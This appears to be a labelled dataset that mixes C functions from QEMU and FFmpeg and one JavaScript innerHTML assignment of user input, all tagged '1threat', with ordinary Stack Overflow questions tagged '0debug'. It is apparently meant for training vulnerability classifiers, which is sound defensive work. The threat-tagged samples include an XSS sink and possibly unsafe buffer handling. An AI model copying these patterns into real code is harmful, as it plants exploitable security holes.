qemu_iovec_init_external(&s->qiov, &s->iov, 1);
bdrv_acct_start(s->bs, &s->acct, n * BDRV_SECTOR_SIZE, BDRV_ACCT_READ);
s->pio_aiocb = bdrv_aio_writev(s->bs, sector_num, &s->qiov, n,
ide_sector_write_cb, s);
| 1threat
|
int qemu_opts_set(QemuOptsList *list, const char *id,
const char *name, const char *value)
{
QemuOpts *opts;
opts = qemu_opts_create(list, id, 1);
if (opts == NULL) {
return -1;
}
return qemu_opt_set(opts, name, value);
}
| 1threat
|
document.getElementById('input').innerHTML = user_input;
| 1threat
|
static int v9fs_do_symlink(V9fsState *s, V9fsString *oldpath,
V9fsString *newpath)
{
return s->ops->symlink(&s->ctx, oldpath->data, newpath->data);
}
| 1threat
|
How to solve Googlecloudmessaging cannot be resolved to a type error? : I am trying to create GCM Push Notification.
I followed the same steps described in below link:
http://javapapers.com/android/google-cloud-messaging-gcm-for-android-and-push-notifications/
After installing google-play-services using sdk manager, google-play-services folder is created but inside it there is no folder of lib. And I got the error of 'googlecloudmessaging cannot be resolved to a type'. How to resolve it? Plzz help me...
Thanks
| 0debug
|
Swift: how to pass global variables through switch/case : I realise this has been asked before, but the answer here (to declare the variable outside the block) doesn't seem to work.
[link description][1]
var filter: String
switch arguments {
....
default:
filter = "value"
print(filter)
}
print(filter)
I get "value" in Xcode's playground for the first print, but the second gives "\n"
What am I doing wrong?
[1]: https://stackoverflow.com/questions/25959680/how-do-i-increase-the-scope-of-variables-in-switch-case-loops-in-swift
| 0debug
|
In Python: How to remove an object from a list if it is only referenced in that list? : <p>I want to keep track of objects of a certain type that are currently in use. For example: Keep track of all instances of a class or all classes that have been created by a metaclass.</p>
<p>It is easy to keep track of instances like this:</p>
<pre><code>class A():
instances = []
def __init__(self):
self.instances.append(self)
</code></pre>
<p>But if an instance is not referenced anywhere outside of that list it will not be needed anymore and I do not want to process that instance in a potentially time consuming loop.</p>
<p>I tried to remove objects that are only referenced in the list using sys.getrefcount.</p>
<pre><code>for i in A.instances:
if sys.getrefcount(i) <=3: # in the list, in the loop and in getrefcount
# collect and remove after the loop
</code></pre>
<p>The problem I have is that the reference count is very obscure.
Opening a new shell and creating a dummy class with no content returns 5 for</p>
<pre><code>sys.getrefcount(DummyClass)
</code></pre>
<p>Another idea is to copy the objects then deleting the list and checking which objects have been scheduled for garbage collecting and in the last step removing those objects. Something like:</p>
<pre><code>Copy = copy(A.instances)
del A.instances
A.instances = [i for i in Copy if not copy_of_i_is_in_GC(i)]
</code></pre>
<p>The objects don't have to be removed immediately when the reference count goes to 0. I just don't want to waste too much ressources on objects that are not used anymore.</p>
| 0debug
|
What Dose this exception meen : What dose this exception mean
this exception keeps pophing when i try to execute query throw JDBC
java.lang.ArrayIndexOutOfBoundsException: 252
at com.orientechnologies.common.serialization.types.OLongSerializer.deserializeLiteral(OLongSerializer.java:69) ~[orientdb-core-2.1.11.jar:2.1.11]
at com.orientechnologies.orient.core.serialization.serializer.record.binary.ORecordSerializerBinaryV0.readLong(ORecordSerializerBinaryV0.java:788) ~[orientdb-core-2.1.11.jar:2.1.11]
at com.orientechnologies.orient.core.serialization.serializer.record.binary.ORecordSerializerBinaryV0.readSingleValue(ORecordSerializerBinaryV0.java:307) ~[orientdb-core-2.1.11.jar:2.1.11]
at com.orientechnologies.orient.core.serialization.serializer.record.binary.ORecordSerializerBinaryV0.deserialize(ORecordSerializerBinaryV0.java:195) ~[orientdb-core-2.1.11.jar:2.1.11]
at com.orientechnologies.orient.core.serialization.serializer.record.binary.ORecordSerializerBinary.fromStream(ORecordSerializerBinary.java:74) ~[orientdb-core-2.1.11.jar:2.1.11]
at com.orientechnologies.orient.core.record.impl.ODocument.deserializeFields(ODocument.java:1817) ~[orientdb-core-2.1.11.jar:2.1.11]
at com.orientechnologies.orient.core.record.impl.ODocument.checkForFields(ODocument.java:2416) ~[orientdb-core-2.1.11.jar:2.1.11]
at com.orientechnologies.orient.core.record.impl.ODocument.fieldNames(ODocument.java:736) ~[orientdb-core-2.1.11.jar:2.1.11]
at com.orientechnologies.orient.jdbc.OrientJdbcResultSet.<init>(OrientJdbcResultSet.java:59) ~[orientdb-jdbc-2.1.11.jar:2.1.11]
at com.orientechnologies.orient.jdbc.OrientJdbcPreparedStatement.executeQuery(OrientJdbcPreparedStatement.java:70) ~[orientdb-jdbc-2.1.11.jar:2.1.11]
at org.springframework.jdbc.core.JdbcTemplate$1.doInPreparedStatement(JdbcTemplate.java:688) ~[spring-jdbc-4.2.4.RELEASE.jar:4.2.4.RELEASE]
at
| 0debug
|
Filter all cells which are not empty : <p>I have close to 40 columns in my excel sheet..Now, I need to filter all the rows where 40 columns are populated.</p>
<p><strong>cell1 cell2 cell3 cell4</strong></p>
<pre><code>1 1 1 1
2 2 2
3 3
</code></pre>
<p>Now, I need the 1st row only in my output.</p>
| 0debug
|
CanDeactivate confirm message : <p>I've implemented a <code>CanDeactivate</code> guard to avoid user leave the page during the upload and it works. The problem is that my message is always a default message (in dutch because of the browser language) and, even setting a message myself, still show the same default <code>confirm</code> window. I would like to write my own message (actually I have a modal that I want to show, but first I would like to see working just with my simple message)</p>
<p>Any ideas what could it be? Am I missing something?
Thanks in advance!</p>
<p>here's the code</p>
<p><strong>Guard.</strong></p>
<pre><code> import { Injectable, ViewContainerRef } from '@angular/core';
import { CanDeactivate } from '@angular/router';
import { Observable } from 'rxjs/Observable';
import { DialogService } from '../services';
export interface PendingUpload {
canDeactivate: () => boolean | Observable<boolean>;
}
@Injectable()
export class PendingUploadGuard implements CanDeactivate<PendingUpload> {
constructor(private dialogService: DialogService, private viewContainerRef: ViewContainerRef) { }
canDeactivate(component: PendingUpload): boolean | Observable<boolean> {
return component.canDeactivate()
? true
: confirm("Test custom message");
//dialog I want to use later
//this.dialogService.confirm("modal title", "modal body", this.viewContainerRef);
}
}
</code></pre>
<p><strong>Component</strong></p>
<pre><code>import { Component, OnInit, HostListener } from '@angular/core';
import { Observable } from 'rxjs/Observable';
import { PendingUpload } from '../../shared/validators/pending-upload.guard';
import './../../rxjs-operators';
@Component({
selector: 'component-selector',
templateUrl: './html',
styleUrls: ['./css']
})
export class ScannerUploadComponent implements OnInit, PendingUpload {
uploading: boolean = false;
constructor() { }
ngOnInit() {
this.uploading = false;
}
@HostListener('window:beforeunload')
canDeactivate(): Observable<boolean> | boolean {
return !this.uploading;
}
}
</code></pre>
| 0debug
|
static inline void qtrle_decode_2n4bpp(QtrleContext *s, int stream_ptr,
int row_ptr, int lines_to_change, int bpp)
{
int rle_code, i;
int pixel_ptr;
int row_inc = s->frame.linesize[0];
unsigned char pi[16];
unsigned char *rgb = s->frame.data[0];
int pixel_limit = s->frame.linesize[0] * s->avctx->height;
int num_pixels = (bpp == 4) ? 8 : 16;
while (lines_to_change--) {
CHECK_STREAM_PTR(2);
pixel_ptr = row_ptr + (num_pixels * (s->buf[stream_ptr++] - 1));
while ((rle_code = (signed char)s->buf[stream_ptr++]) != -1) {
if (rle_code == 0) {
CHECK_STREAM_PTR(1);
pixel_ptr += (num_pixels * (s->buf[stream_ptr++] - 1));
} else if (rle_code < 0) {
rle_code = -rle_code;
CHECK_STREAM_PTR(4);
for (i = num_pixels-1; i >= 0; i--) {
pi[num_pixels-1-i] = (s->buf[stream_ptr] >> ((i*bpp) & 0x07)) & ((1<<bpp)-1);
stream_ptr+= ((i & ((num_pixels>>2)-1)) == 0);
}
CHECK_PIXEL_PTR(rle_code * num_pixels);
while (rle_code--) {
for (i = 0; i < num_pixels; i++)
rgb[pixel_ptr++] = pi[i];
}
} else {
rle_code *= 4;
CHECK_STREAM_PTR(rle_code);
CHECK_PIXEL_PTR(rle_code*(num_pixels>>2));
while (rle_code--) {
if(bpp == 4) {
rgb[pixel_ptr++] = ((s->buf[stream_ptr]) >> 4) & 0x0f;
rgb[pixel_ptr++] = (s->buf[stream_ptr++]) & 0x0f;
} else {
rgb[pixel_ptr++] = ((s->buf[stream_ptr]) >> 6) & 0x03;
rgb[pixel_ptr++] = ((s->buf[stream_ptr]) >> 4) & 0x03;
rgb[pixel_ptr++] = ((s->buf[stream_ptr]) >> 2) & 0x03;
rgb[pixel_ptr++] = (s->buf[stream_ptr++]) & 0x03;
}
}
}
}
row_ptr += row_inc;
}
}
| 1threat
|
int cpu_breakpoint_insert(CPUState *cpu, vaddr pc, int flags,
CPUBreakpoint **breakpoint)
{
#if defined(TARGET_HAS_ICE)
CPUBreakpoint *bp;
bp = g_malloc(sizeof(*bp));
bp->pc = pc;
bp->flags = flags;
if (flags & BP_GDB) {
QTAILQ_INSERT_HEAD(&cpu->breakpoints, bp, entry);
} else {
QTAILQ_INSERT_TAIL(&cpu->breakpoints, bp, entry);
}
breakpoint_invalidate(cpu, pc);
if (breakpoint) {
*breakpoint = bp;
}
return 0;
#else
return -ENOSYS;
#endif
}
| 1threat
|
static int build_table(VLC *vlc, int table_nb_bits, int nb_codes,
VLCcode *codes, int flags)
{
int table_size, table_index, index, code_prefix, symbol, subtable_bits;
int i, j, k, n, nb, inc;
uint32_t code;
VLC_TYPE (*table)[2];
table_size = 1 << table_nb_bits;
if (table_nb_bits > 30)
return -1;
table_index = alloc_table(vlc, table_size, flags & INIT_VLC_USE_NEW_STATIC);
av_dlog(NULL, "new table index=%d size=%d\n", table_index, table_size);
if (table_index < 0)
return table_index;
table = &vlc->table[table_index];
for (i = 0; i < table_size; i++) {
table[i][1] = 0;
table[i][0] = -1;
}
for (i = 0; i < nb_codes; i++) {
n = codes[i].bits;
code = codes[i].code;
symbol = codes[i].symbol;
av_dlog(NULL, "i=%d n=%d code=0x%x\n", i, n, code);
if (n <= table_nb_bits) {
j = code >> (32 - table_nb_bits);
nb = 1 << (table_nb_bits - n);
inc = 1;
if (flags & INIT_VLC_LE) {
j = bitswap_32(code);
inc = 1 << n;
}
for (k = 0; k < nb; k++) {
av_dlog(NULL, "%4x: code=%d n=%d\n", j, i, n);
if (table[j][1] != 0) {
av_log(NULL, AV_LOG_ERROR, "incorrect codes\n");
return AVERROR_INVALIDDATA;
}
table[j][1] = n;
table[j][0] = symbol;
j += inc;
}
} else {
n -= table_nb_bits;
code_prefix = code >> (32 - table_nb_bits);
subtable_bits = n;
codes[i].bits = n;
codes[i].code = code << table_nb_bits;
for (k = i+1; k < nb_codes; k++) {
n = codes[k].bits - table_nb_bits;
if (n <= 0)
break;
code = codes[k].code;
if (code >> (32 - table_nb_bits) != code_prefix)
break;
codes[k].bits = n;
codes[k].code = code << table_nb_bits;
subtable_bits = FFMAX(subtable_bits, n);
}
subtable_bits = FFMIN(subtable_bits, table_nb_bits);
j = (flags & INIT_VLC_LE) ? bitswap_32(code_prefix) >> (32 - table_nb_bits) : code_prefix;
table[j][1] = -subtable_bits;
av_dlog(NULL, "%4x: n=%d (subtable)\n",
j, codes[i].bits + table_nb_bits);
index = build_table(vlc, subtable_bits, k-i, codes+i, flags);
if (index < 0)
return index;
table = &vlc->table[table_index];
table[j][0] = index;
i = k-1;
}
}
return table_index;
}
| 1threat
|
docker-machine: no machine name, no "default" exists : <p>I downloaded and installed Docker for Windows 1.12.1 which in turn installed the docker-machine and docker-compose. I did not install "Docker Toolbox" since its a duplicate of what was installed and my system meets the <a href="https://docs.docker.com/docker-for-windows/#/what-to-know-before-you-install" rel="noreferrer">requirements</a>.</p>
<p>Everything seems to work fine except for docker-machine, I'm running through a tutorial and when I run various docker-machine commands like "ip" or "env" I get the following message.</p>
<pre><code>Error: No machine name(s) specified and no "default" machine exists.
</code></pre>
<p>So when I do a "docker-machine ls" there is nothing in the list even though I do have a Hyper-V docker machine installed and docker commands work fine.</p>
<pre><code>C:\tmp>docker-machine ls
NAME ACTIVE DRIVER STATE URL SWARM DOCKER ERRORS
C:\tmp>
</code></pre>
<p>Am I missing something here? Did I miss something in the documentation? If so can someone please point me in the right direction to fix this?</p>
<p>Thanks for any help,</p>
<p>Jim</p>
| 0debug
|
Is there a way to delete all the 'junk' that comes when printing a file from the internet : I want to print a file from the internet with the \n' b' etc.
```python
from urllib.request import urlopen
data = urlopen('http://willswebdev.000webhostapp.com/plan.txt')
for line in data:
print(line)
```
```
b'Hello Series\n'
```
This is the first line how do I get rid of b' and \n'??
| 0debug
|
seperating array elemnet by 4 character in array : - I have an array like this
my@array=(0x0B0x0C0x4A0x000x010x000x000x020)
-----------------------------------------------------------------------
I want to insert comma for each of the 4 character what i mean here is
my@array=(0x0B,0x0C,0x4A,0x00,0x01,0x00,0x00,0x02)
-----------------------------------------------------------------------
#! /usr/bin/env perl
use strict;
use warnings;
#reading input file by line by line.
while (<DATA>)
{
#here i am extracting all hex value
while ($_ =~ m/(0x(\d+)(?:[0-9]|[A-f])+)/gi)
{
push @hex_array, $1; #push the element
} #end of second while loop
} #end of first while loop
print @hex_array;
#first approach
unpack("(A2)*", $hex_array);
print {$output_fh} join("U, ", @hex_array);
#second approach
foreach my $element (@hex_array)
{
if (length $element eq 4)
{
#print @hex_array;
print {$output_fh} join("U, ", @hex_array);
}
}
--------------------------------------------------------
but both the approaches did not work
what would be appropriate solution?
| 0debug
|
static void *spapr_create_fdt_skel(const char *cpu_model,
target_phys_addr_t rma_size,
target_phys_addr_t initrd_base,
target_phys_addr_t initrd_size,
target_phys_addr_t kernel_size,
const char *boot_device,
const char *kernel_cmdline,
long hash_shift)
{
void *fdt;
CPUPPCState *env;
uint64_t mem_reg_property[2];
uint32_t start_prop = cpu_to_be32(initrd_base);
uint32_t end_prop = cpu_to_be32(initrd_base + initrd_size);
uint32_t pft_size_prop[] = {0, cpu_to_be32(hash_shift)};
char hypertas_prop[] = "hcall-pft\0hcall-term\0hcall-dabr\0hcall-interrupt"
"\0hcall-tce\0hcall-vio\0hcall-splpar\0hcall-bulk";
char qemu_hypertas_prop[] = "hcall-memop1";
uint32_t interrupt_server_ranges_prop[] = {0, cpu_to_be32(smp_cpus)};
int i;
char *modelname;
int smt = kvmppc_smt_threads();
unsigned char vec5[] = {0x0, 0x0, 0x0, 0x0, 0x0, 0x80};
uint32_t refpoints[] = {cpu_to_be32(0x4), cpu_to_be32(0x4)};
uint32_t associativity[] = {cpu_to_be32(0x4), cpu_to_be32(0x0),
cpu_to_be32(0x0), cpu_to_be32(0x0),
cpu_to_be32(0x0)};
char mem_name[32];
target_phys_addr_t node0_size, mem_start;
#define _FDT(exp) \
do { \
int ret = (exp); \
if (ret < 0) { \
fprintf(stderr, "qemu: error creating device tree: %s: %s\n", \
#exp, fdt_strerror(ret)); \
exit(1); \
} \
} while (0)
fdt = g_malloc0(FDT_MAX_SIZE);
_FDT((fdt_create(fdt, FDT_MAX_SIZE)));
if (kernel_size) {
_FDT((fdt_add_reservemap_entry(fdt, KERNEL_LOAD_ADDR, kernel_size)));
}
if (initrd_size) {
_FDT((fdt_add_reservemap_entry(fdt, initrd_base, initrd_size)));
}
_FDT((fdt_finish_reservemap(fdt)));
_FDT((fdt_begin_node(fdt, "")));
_FDT((fdt_property_string(fdt, "device_type", "chrp")));
_FDT((fdt_property_string(fdt, "model", "IBM pSeries (emulated by qemu)")));
_FDT((fdt_property_cell(fdt, "#address-cells", 0x2)));
_FDT((fdt_property_cell(fdt, "#size-cells", 0x2)));
_FDT((fdt_begin_node(fdt, "chosen")));
_FDT((fdt_property(fdt, "ibm,architecture-vec-5", vec5, sizeof(vec5))));
_FDT((fdt_property_string(fdt, "bootargs", kernel_cmdline)));
_FDT((fdt_property(fdt, "linux,initrd-start",
&start_prop, sizeof(start_prop))));
_FDT((fdt_property(fdt, "linux,initrd-end",
&end_prop, sizeof(end_prop))));
if (kernel_size) {
uint64_t kprop[2] = { cpu_to_be64(KERNEL_LOAD_ADDR),
cpu_to_be64(kernel_size) };
_FDT((fdt_property(fdt, "qemu,boot-kernel", &kprop, sizeof(kprop))));
}
_FDT((fdt_property_string(fdt, "qemu,boot-device", boot_device)));
_FDT((fdt_property_cell(fdt, "qemu,graphic-width", graphic_width)));
_FDT((fdt_property_cell(fdt, "qemu,graphic-height", graphic_height)));
_FDT((fdt_property_cell(fdt, "qemu,graphic-depth", graphic_depth)));
_FDT((fdt_end_node(fdt)));
node0_size = (nb_numa_nodes > 1) ? node_mem[0] : ram_size;
if (rma_size > node0_size) {
rma_size = node0_size;
}
mem_reg_property[0] = 0;
mem_reg_property[1] = cpu_to_be64(rma_size);
_FDT((fdt_begin_node(fdt, "memory@0")));
_FDT((fdt_property_string(fdt, "device_type", "memory")));
_FDT((fdt_property(fdt, "reg", mem_reg_property,
sizeof(mem_reg_property))));
_FDT((fdt_property(fdt, "ibm,associativity", associativity,
sizeof(associativity))));
_FDT((fdt_end_node(fdt)));
if (node0_size > rma_size) {
mem_reg_property[0] = cpu_to_be64(rma_size);
mem_reg_property[1] = cpu_to_be64(node0_size - rma_size);
sprintf(mem_name, "memory@" TARGET_FMT_lx, rma_size);
_FDT((fdt_begin_node(fdt, mem_name)));
_FDT((fdt_property_string(fdt, "device_type", "memory")));
_FDT((fdt_property(fdt, "reg", mem_reg_property,
sizeof(mem_reg_property))));
_FDT((fdt_property(fdt, "ibm,associativity", associativity,
sizeof(associativity))));
_FDT((fdt_end_node(fdt)));
}
mem_start = node0_size;
for (i = 1; i < nb_numa_nodes; i++) {
mem_reg_property[0] = cpu_to_be64(mem_start);
mem_reg_property[1] = cpu_to_be64(node_mem[i]);
associativity[3] = associativity[4] = cpu_to_be32(i);
sprintf(mem_name, "memory@" TARGET_FMT_lx, mem_start);
_FDT((fdt_begin_node(fdt, mem_name)));
_FDT((fdt_property_string(fdt, "device_type", "memory")));
_FDT((fdt_property(fdt, "reg", mem_reg_property,
sizeof(mem_reg_property))));
_FDT((fdt_property(fdt, "ibm,associativity", associativity,
sizeof(associativity))));
_FDT((fdt_end_node(fdt)));
mem_start += node_mem[i];
}
_FDT((fdt_begin_node(fdt, "cpus")));
_FDT((fdt_property_cell(fdt, "#address-cells", 0x1)));
_FDT((fdt_property_cell(fdt, "#size-cells", 0x0)));
modelname = g_strdup(cpu_model);
for (i = 0; i < strlen(modelname); i++) {
modelname[i] = toupper(modelname[i]);
}
spapr->cpu_model = g_strdup(modelname);
for (env = first_cpu; env != NULL; env = env->next_cpu) {
int index = env->cpu_index;
uint32_t servers_prop[smp_threads];
uint32_t gservers_prop[smp_threads * 2];
char *nodename;
uint32_t segs[] = {cpu_to_be32(28), cpu_to_be32(40),
0xffffffff, 0xffffffff};
uint32_t tbfreq = kvm_enabled() ? kvmppc_get_tbfreq() : TIMEBASE_FREQ;
uint32_t cpufreq = kvm_enabled() ? kvmppc_get_clockfreq() : 1000000000;
uint32_t page_sizes_prop[64];
size_t page_sizes_prop_size;
if ((index % smt) != 0) {
continue;
}
if (asprintf(&nodename, "%s@%x", modelname, index) < 0) {
fprintf(stderr, "Allocation failure\n");
exit(1);
}
_FDT((fdt_begin_node(fdt, nodename)));
free(nodename);
_FDT((fdt_property_cell(fdt, "reg", index)));
_FDT((fdt_property_string(fdt, "device_type", "cpu")));
_FDT((fdt_property_cell(fdt, "cpu-version", env->spr[SPR_PVR])));
_FDT((fdt_property_cell(fdt, "dcache-block-size",
env->dcache_line_size)));
_FDT((fdt_property_cell(fdt, "icache-block-size",
env->icache_line_size)));
_FDT((fdt_property_cell(fdt, "timebase-frequency", tbfreq)));
_FDT((fdt_property_cell(fdt, "clock-frequency", cpufreq)));
_FDT((fdt_property_cell(fdt, "ibm,slb-size", env->slb_nr)));
_FDT((fdt_property(fdt, "ibm,pft-size",
pft_size_prop, sizeof(pft_size_prop))));
_FDT((fdt_property_string(fdt, "status", "okay")));
_FDT((fdt_property(fdt, "64-bit", NULL, 0)));
for (i = 0; i < smp_threads; i++) {
servers_prop[i] = cpu_to_be32(index + i);
gservers_prop[i*2] = cpu_to_be32(index + i);
gservers_prop[i*2 + 1] = 0;
}
_FDT((fdt_property(fdt, "ibm,ppc-interrupt-server#s",
servers_prop, sizeof(servers_prop))));
_FDT((fdt_property(fdt, "ibm,ppc-interrupt-gserver#s",
gservers_prop, sizeof(gservers_prop))));
if (env->mmu_model & POWERPC_MMU_1TSEG) {
_FDT((fdt_property(fdt, "ibm,processor-segment-sizes",
segs, sizeof(segs))));
}
if (env->insns_flags & PPC_ALTIVEC) {
uint32_t vmx = (env->insns_flags2 & PPC2_VSX) ? 2 : 1;
_FDT((fdt_property_cell(fdt, "ibm,vmx", vmx)));
}
if (env->insns_flags2 & PPC2_DFP) {
_FDT((fdt_property_cell(fdt, "ibm,dfp", 1)));
}
page_sizes_prop_size = create_page_sizes_prop(env, page_sizes_prop,
sizeof(page_sizes_prop));
if (page_sizes_prop_size) {
_FDT((fdt_property(fdt, "ibm,segment-page-sizes",
page_sizes_prop, page_sizes_prop_size)));
}
_FDT((fdt_end_node(fdt)));
}
g_free(modelname);
_FDT((fdt_end_node(fdt)));
_FDT((fdt_begin_node(fdt, "rtas")));
_FDT((fdt_property(fdt, "ibm,hypertas-functions", hypertas_prop,
sizeof(hypertas_prop))));
_FDT((fdt_property(fdt, "qemu,hypertas-functions", qemu_hypertas_prop,
sizeof(qemu_hypertas_prop))));
_FDT((fdt_property(fdt, "ibm,associativity-reference-points",
refpoints, sizeof(refpoints))));
_FDT((fdt_end_node(fdt)));
_FDT((fdt_begin_node(fdt, "interrupt-controller")));
_FDT((fdt_property_string(fdt, "device_type",
"PowerPC-External-Interrupt-Presentation")));
_FDT((fdt_property_string(fdt, "compatible", "IBM,ppc-xicp")));
_FDT((fdt_property(fdt, "interrupt-controller", NULL, 0)));
_FDT((fdt_property(fdt, "ibm,interrupt-server-ranges",
interrupt_server_ranges_prop,
sizeof(interrupt_server_ranges_prop))));
_FDT((fdt_property_cell(fdt, "#interrupt-cells", 2)));
_FDT((fdt_property_cell(fdt, "linux,phandle", PHANDLE_XICP)));
_FDT((fdt_property_cell(fdt, "phandle", PHANDLE_XICP)));
_FDT((fdt_end_node(fdt)));
_FDT((fdt_begin_node(fdt, "vdevice")));
_FDT((fdt_property_string(fdt, "device_type", "vdevice")));
_FDT((fdt_property_string(fdt, "compatible", "IBM,vdevice")));
_FDT((fdt_property_cell(fdt, "#address-cells", 0x1)));
_FDT((fdt_property_cell(fdt, "#size-cells", 0x0)));
_FDT((fdt_property_cell(fdt, "#interrupt-cells", 0x2)));
_FDT((fdt_property(fdt, "interrupt-controller", NULL, 0)));
_FDT((fdt_end_node(fdt)));
_FDT((fdt_end_node(fdt)));
_FDT((fdt_finish(fdt)));
return fdt;
}
| 1threat
|
how can i get data of logged in user from firebase database :
any one please tell how can i fetch logged in user data from firebase database these are my code. any one please tell how can i fetch logged in user data from firebase database these are my code. any one please tell how can i fetch logged in user data from firebase database these are my code
public void getUserInfo(){
mFirebaseDatabase = FirebaseDatabase.getInstance();
mUserDatabase = mFirebaseDatabase.getReference("users");
FirebaseUser user = mAuth.getCurrentUser();
mUserDatabase.child(userID).addValueEventListener(new ValueEventListener() {
@Override
public void onDataChange( com.google.firebase.database.DataSnapshot datasnapshot) {
for (DataSnapshot dataSnapshot : datasnapshot.getChildren()) {
User user1 = dataSnapshot.getValue(User.class);
String firstname = user1.getFirstName();
String secondname = user1.getSecondName();
String email = user1.getEmail();
String enrollment = user1.getEnrollnumber();
String branch = user1.getBranch();
String college = user1.getCollege();
First_name.setText(firstname);
Second_name.setText(secondname);
tx_Email.setText(email);
Enroll_number.setText(enrollment);
}
}
@Override
public void onCancelled(DatabaseError firebaseError) {
/*
* You may print the error message.
**/
}
});
}
| 0debug
|
static void decode_scaling_list(H264Context *h, uint8_t *factors, int size,
const uint8_t *jvt_list,
const uint8_t *fallback_list)
{
int i, last = 8, next = 8;
const uint8_t *scan = size == 16 ? ff_zigzag_scan : ff_zigzag_direct;
if (!get_bits1(&h->gb))
memcpy(factors, fallback_list, size * sizeof(uint8_t));
else
for (i = 0; i < size; i++) {
if (next)
next = (last + get_se_golomb(&h->gb)) & 0xff;
if (!i && !next) {
memcpy(factors, jvt_list, size * sizeof(uint8_t));
break;
}
last = factors[scan[i]] = next ? next : last;
}
}
| 1threat
|
static av_cold int opus_encode_init(AVCodecContext *avctx)
{
int i, ch, ret;
OpusEncContext *s = avctx->priv_data;
s->avctx = avctx;
s->channels = avctx->channels;
avctx->frame_size = 120;
avctx->initial_padding = 120;
avctx->cutoff = !avctx->cutoff ? 20000 : avctx->cutoff;
if (!avctx->bit_rate) {
int coupled = ff_opus_default_coupled_streams[s->channels - 1];
avctx->bit_rate = coupled*(96000) + (s->channels - coupled*2)*(48000);
} else if (avctx->bit_rate < 6000 || avctx->bit_rate > 255000 * s->channels) {
int64_t clipped_rate = av_clip(avctx->bit_rate, 6000, 255000 * s->channels);
av_log(avctx, AV_LOG_ERROR, "Unsupported bitrate %"PRId64" kbps, clipping to %"PRId64" kbps\n",
avctx->bit_rate/1000, clipped_rate/1000);
avctx->bit_rate = clipped_rate;
}
s->frame = av_malloc(OPUS_MAX_FRAMES_PER_PACKET*sizeof(CeltFrame));
if (!s->frame)
return AVERROR(ENOMEM);
s->rc = av_malloc(OPUS_MAX_FRAMES_PER_PACKET*sizeof(OpusRangeCoder));
if (!s->rc)
return AVERROR(ENOMEM);
avctx->extradata_size = 19;
avctx->extradata = av_malloc(avctx->extradata_size + AV_INPUT_BUFFER_PADDING_SIZE);
if (!avctx->extradata)
return AVERROR(ENOMEM);
opus_write_extradata(avctx);
ff_af_queue_init(avctx, &s->afq);
if (!(s->dsp = avpriv_float_dsp_alloc(avctx->flags & AV_CODEC_FLAG_BITEXACT)))
return AVERROR(ENOMEM);
for (i = 0; i < CELT_BLOCK_NB; i++)
if ((ret = ff_mdct15_init(&s->mdct[i], 0, i + 3, 68 << (CELT_BLOCK_NB - 1 - i))))
return AVERROR(ENOMEM);
for (i = 0; i < OPUS_MAX_FRAMES_PER_PACKET; i++)
s->frame[i].block[0].emph_coeff = s->frame[i].block[1].emph_coeff = 0.0f;
for (ch = 0; ch < s->channels; ch++)
for (i = 0; i < CELT_MAX_BANDS; i++)
s->last_quantized_energy[ch][i] = 0.0f;
ff_bufqueue_add(avctx, &s->bufqueue, spawn_empty_frame(s));
if (!ff_bufqueue_peek(&s->bufqueue, 0))
return AVERROR(ENOMEM);
return 0;
}
| 1threat
|
How to draw rectangle frame in android : <p>I want to draw a square shape every time I can use it. The barcode shown is only representative. I want to make a drawing that I can give the dimensions of the square like the picture. how can I do that ? what can i research? I would like to do this by assigning measures in the MainActivity class that I write to a specific class.</p>
<p><a href="https://i.stack.imgur.com/CwFxm.png" rel="nofollow noreferrer">enter image description here</a></p>
<p><a href="https://i.stack.imgur.com/xOpH1.png" rel="nofollow noreferrer">enter image description here</a></p>
| 0debug
|
Why dose "console.log(parseInt(0o22,8))" display "1" : # Why dose "console.log(parseInt(0o22,8))" display "1" ?
> console.log(parseInt(0o22,8)) // 1 ???
> Tell me why!
| 0debug
|
Use specific package name when setting up a react-native project : <p>When creating a react-native app with <code>react-native init MyApp</code> the Android and iOS package names are automatically set to <code>com.myapp</code>.</p>
<p>Changing the Android package name (especially if you need something longer like <code>com.organisation.propject.app</code>) later in the development is pretty fiddly and I was wondering if there was a way to set the package name when setting up a project with <code>react-native init</code>?</p>
| 0debug
|
void ff_celp_lp_zero_synthesis_filterf(float *out,
const float* filter_coeffs,
const float* in,
int buffer_length,
int filter_length)
{
int i,n;
filter_length++;
for (n = 0; n < buffer_length; n++) {
out[n] = in[n];
for (i = 1; i < filter_length; i++)
out[n] += filter_coeffs[i-1] * in[n-i];
}
}
| 1threat
|
The best solution for implement two icon enable or disable : <p>I need two icon,<br>
If is verify email, show an icon without hyberlink and set "activated" css class for green style and checked.<br>
If is not verify email, the icon is linked to the verify page, and default is gray color style.<br>
Which of the below solution is better and standard? </p>
<h1>Solution #1:</h1>
<pre><code><a href="<?php echo ($modelStatic->isVerifiedEmail) ? 'javascript:void(0)' :
Yii::app()->createUrl('/user/reActivate'); ?>"
class="item<?php if($modelStatic->isVerifiedEmail) echo ' activated'; ?>">
<div class="confirm-icon">
<i class="fa fa-envelope-o"></i>
</div>
<div class="text">
<?php echo Yii::t('app', 'Verify Email'); ?>
</div>
</a>
<style>
.activated {
cursor: default;
}
</style>
</code></pre>
<h1>Solution #2:</h1>
<pre><code>if($modelStatic->isVerifiedEmail) : ?>
<div class="item activated">
<div class="confirm-icon">
<i class="fa fa-envelope-o"></i>
</div>
<div class="text">
<?php echo Yii::t('app', 'Verify Email'); ?>
</div>
</div>
<?php else: ?>
<a href="<?php echo Yii::app()->createUrl('/user/reActivate'); ?>"
class="item">
<div class="confirm-icon">
<i class="fa fa-envelope-o"></i>
</div>
<div class="text">
<?php echo Yii::t('app', 'Verify Email'); ?>
</div>
</a>
<?php endif; ?>
</code></pre>
<h1>Solution #3:</h1>
<pre><code><?php if($modelStatic->isVerifiedEmail) : ?>
<div class="item activated">
<?php else: ?>
<a href="<?php echo Yii::app()->createUrl('/user/reActivate'); ?>" class="item">
<?php endif; ?>
<div class="confirm-icon">
<i class="fa fa-envelope-o"></i>
</div>
<div class="text">
<?php echo Yii::t('app', 'Verify Email'); ?>
</div>
<?php if($modelStatic->isVerifiedEmail) : ?>
</div>
<?php else: ?>
</a>
<?php endif; ?>
</code></pre>
| 0debug
|
Hide menu when clicked on (tablet) : <p>I've made a small website-menu: <a href="http://website.coathings.nl/" rel="nofollow noreferrer">http://website.coathings.nl/</a> (see it when resize the window). Works fine on desktop, but I need to dissappear when I click on in on phone or tablet. And I can't figure out how...</p>
<p>It needs to hide when the menu is open and you click on the menu-icon, a menu-item or somewhere else. And it needs to open when you click on the icon (when it's closed).</p>
| 0debug
|
convert Java to javascript code : <p>Someone can help me,i have stuck here,i have code java like this:</p>
<pre><code>List<Object> lstObject = new ArrayList<>();
Object o = lstObject.get(0);
</code></pre>
